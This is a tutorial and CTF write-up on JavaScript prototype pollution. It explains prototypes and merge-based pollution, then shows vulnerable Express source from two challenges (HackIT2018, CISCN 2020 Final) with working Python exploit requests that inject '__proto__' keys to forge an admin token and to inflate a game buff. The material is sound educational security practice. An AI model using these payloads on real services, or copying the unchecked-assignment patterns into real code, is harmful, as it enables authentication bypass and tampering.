JavaScript Prototype Pollution Attack

In 2020ciscn final .We meet an easy js prototype pollution attack question named “Final-Monster Battle”.In my fault,it makes me angur.I understand if you want learn some thing well you need practice it.practice make perfect!

1. Basic- prototype

In javascript we can alse create a class

1
2
3
4
5
function Persion() {
this.age = 18
}

new Persion()

age is an attribute of class Persion.You can use .age or ['age'] get it,for example

1
2
3
4
5
6
function Persion() {
this.age = 18
}
let girl=new Persion()
console.log(girl.age);
console.log(girl['age']);

Also,we can define function in JS.

1
2
3
4
5
6
7
function Persion() {
this.age = 18
this.sing=function(){
console.log("miao miao miao")
}
}
(new Persion()).sing()

we can alse use prototype or __proto__ to define a function.

1
2
3
4
5
6
7
8
9
function Persion() {
this.age = 18
}

Persion.prototype.girlsing=function sing(){
console.log("miao miao miao")
}
let girl=new Persion()
girl.girlsing()

prototype is an attribute of class,and __proto__ is an attribute of obj.

1
2
3
4
5
6
7
8
9
10
function Persion() {
this.age = 18
}
let girl=new Persion()

girl.__proto__.girlsing=function sing(){
console.log("miao miao miao")
}
let boy=new Persion()
girl.girlsing()

as same girl.__proto__ == Persion.prototype

2. Prototype Pollution

we can learn prototype pollution from an example

1
2
3
4
5
6
7
8
9
10
function Persion() {
this.age = 18
}
let girl=new Persion()
let boy=new Persion()
girl.__proto__.girlsing=function sing(){
console.log("miao miao miao")
}
boy.girlsing()
//output:miao miao miao

we can learn ,when girl obj got girlsing func,other obj which creat by Persion class all have this func.i mean this is a easy prototype pollution.(pollution process can after ceate an obj process)

2.1. some env cause prototype pollution

In js can use ['attr'] get attribute of obj.

2.1.1. easy env

x[param1][param2] = param3;
we can contrl an obj’ attr and value.
we can transmit param1=__proto__,param2={we want attr},param3={we want value}
(a tips:we can only pollute attribute which this obj don’t define.Because there have both attr, the default is to find their own properties and then recurs upward)
or x[param1]= param2;,we can transmit param1=__proto__,param2={{key:value}}

1
2
3
4
5
6
7
8
let a=[]
let b = []
x1='__proto__'
x2='bar'
x3=2
a[x1][x2] = x3
console.log(b.bar)
// output 2

2.1.2. complex env

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
let o1 = {}
let o2 = {a: 1, "__proto__": {b: 2}}
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)

output

1
2
1 2
undefined

so we fail.because in let o2 = {a: 1, "__proto__": {b: 2}},we just let o2.b==2 when merge.so we need change JSON

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)

output

1
2
1 2
2

3. HackIT2018 Republic_of_Gayming

https://github.com/bkfish/HackIT2018

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
const express = require('express')
var hbs = require('hbs');
var bodyParser = require('body-parser');
const md5 = require('md5');
var morganBody = require('morgan-body');
const app = express();
var user = []; //empty for now

var matrix = [];
for (var i = 0; i < 3; i++){
matrix[i] = [null , null, null];
}

function draw(mat) {
var count = 0;
for (var i = 0; i < 3; i++){
for (var j = 0; j < 3; j++){
if (matrix[i][j] !== null){
count += 1;
}
}
}
return count === 9;
}

app.use('/static', express.static('static'));
app.use(bodyParser.json());
app.set('view engine', 'html');
morganBody(app);
app.engine('html', require('hbs').__express);

app.get('/', (req, res) => {

for (var i = 0; i < 3; i++){
matrix[i] = [null , null, null];

}
res.render('index');
})


app.get('/admin', (req, res) => {
/*this is under development I guess ??*/

if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');
}
else {
res.status(403).send('Forbidden');
}
}
)


app.post('/api', (req, res) => {
var client = req.body;
var winner = null;

if (client.row > 3 || client.col > 3){
client.row %= 3;
client.col %= 3;
}

matrix[client.row][client.col] = client.data;
console.log(matrix);
for(var i = 0; i < 3; i++){
if (matrix[i][0] === matrix[i][1] && matrix[i][1] === matrix[i][2] ){
if (matrix[i][0] === 'X') {
winner = 1;
}
else if(matrix[i][0] === 'O') {
winner = 2;
}
}
if (matrix[0][i] === matrix[1][i] && matrix[1][i] === matrix[2][i]){
if (matrix[0][i] === 'X') {
winner = 1;
}
else if(matrix[0][i] === 'O') {
winner = 2;
}
}
}

if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'X'){
winner = 1;
}
if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'O'){
winner = 2;
}

if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'X'){
winner = 1;
}
if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'O'){
winner = 2;
}

if (draw(matrix) && winner === null){
res.send(JSON.stringify({winner: 0}))
}
else if (winner !== null) {
res.send(JSON.stringify({winner: winner}))
}
else {
res.send(JSON.stringify({winner: -1}))
}

})
app.listen(3000, () => {
console.log('app listening on port 3000!')
})

run

1
2
3
4
npm install md5
npm install morgan-body
node app.js
//console app listening on port 3000!

In line 64 matrix[client.row][client.col] = client.data;.we fine an easy env of prototype_pollution.
this is a TicTacToe Game. In the end ,we need let md5(user.admintoken) === req.query.querytoken)and querytoken is our transmit for query,but admintoken we can’t konw,but we can use prototype pollution,we can find var client = req.body;,some client.row,client.col and client.data we can control.so we just need post 'row':'__proto__','col':'admintoken','data':'qqq',then transmit md5(qqq),we can got flag
exp

1
2
3
4
5
import requests
import hashlib
r = requests.post('http://localhost:3000/api',json={'row':'__proto__','col':'admintoken','data':'qqq'})
r = requests.get('http://localhost:3000/admin?querytoken=' + hashlib.md5(b'qqq').hexdigest())
print(r.text)

4. CISCN 2020 Final Monster Battle

https://github.com/bkfish/CISCN2020_Final
run

1
2
npm install
node app.js

port define in app.js 275 lineapp.listen(8080);
Is An Awesome Game

In line 172 we init play

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
app.post('/start', (req, res) => {
if (req.body && typeof req.body== 'object' )
{
player = {
name : "ciscn",
career : "warrior",
item : "BYZF",
round_to_use : 1 //round_to_use表示在哪一轮使用物品
}

let tempPlayer = req.body

for ( let i in tempPlayer )
{
if (player[i]) {
if ( (i == 'career' && !careers.includes(tempPlayer[i])) || (i == 'item' && !items.includes(tempPlayer[i])) || (i == 'round_to_use' && !checkRound(tempPlayer[i])) || tempPlayer[i] === '') {
continue
}
player[i] = tempPlayer[i]
}
}
player.num = 1; //player剩余可`使用物品`的次数
player.HP = 100; //HP为血量
player.aggressivity = getPlayerAggressivity()

initMonster()
res.redirect("/battle")
} else {
res.redirect("/")
}
})

player[i] = tempPlayer[i] ,we can prototype pollution,for exampleplay['__proto__']='{"x":1}',so we need find which value we can pollute.In line 47 getPlayerDamageValue function

1
2
3
4
5
6
function  getPlayerDamageValue() //计算纯粹伤害
{
if (player.buff) {
return keepTwoDecimal(player.aggressivity+player.buff)
} else return player.aggressivity
}

if we let player.buff=100+,we will win.
In line 54

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function triggerPassiveSkill() //触发被动技能
{
switch (player.career) {
case "warrior":
player.buff = 5
return 1
case "high_priest" :
player.HP += 10
player.HP = keepTwoDecimal(player.HP)
return 2
case 'shooter' :
player.buff = 7
return 3
default:
return 0
}
}

if player.caree!==high_priest,buff will redefine,so let player.career == high_priest.
In line 82

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function playerUseItem(round)
{
//ZLYG:治疗药膏,使用后回复10点生命值
//BYZF:白银之锋,使用后的一次攻击将触发暴击并造成130%的伤害
//XELD:邪恶镰刀,使用后将对方的一次攻击的攻击力变为80%
if (round == player.round_to_use && player.num == 1)
{
player.num = 0;
switch (player.item) {
case "ZLYG":
player.HP += 10;
return 1;
case "BYZF":
player.buff = player.aggressivity * 0.3;
player.buff = keepTwoDecimal(player.buff)
return 2;
case "XELD":
monster.buff = monster.aggressivity * (1 - 0.8) * (-1);
monster.buff = keepTwoDecimal(monster.buff)
return 3;
}
} else return 0
}

if player.item==BYZF, player.buff will redefine player.aggressivity * 0.3;so we con’t let player.item equal to BYZF(in fact,if we let round bigger then 2 is as same)
so exp(tis:requests default wiil redirect if you dont want it,you need add ,allow_redirects=False)

1
2
3
import requests
r = requests.post('http://localhost:8080/start',json={"name":1, "round_to_use":2, "career":"high_priest", "item":"BYZF","__proto__":{"buff":10000}})
print(r.text)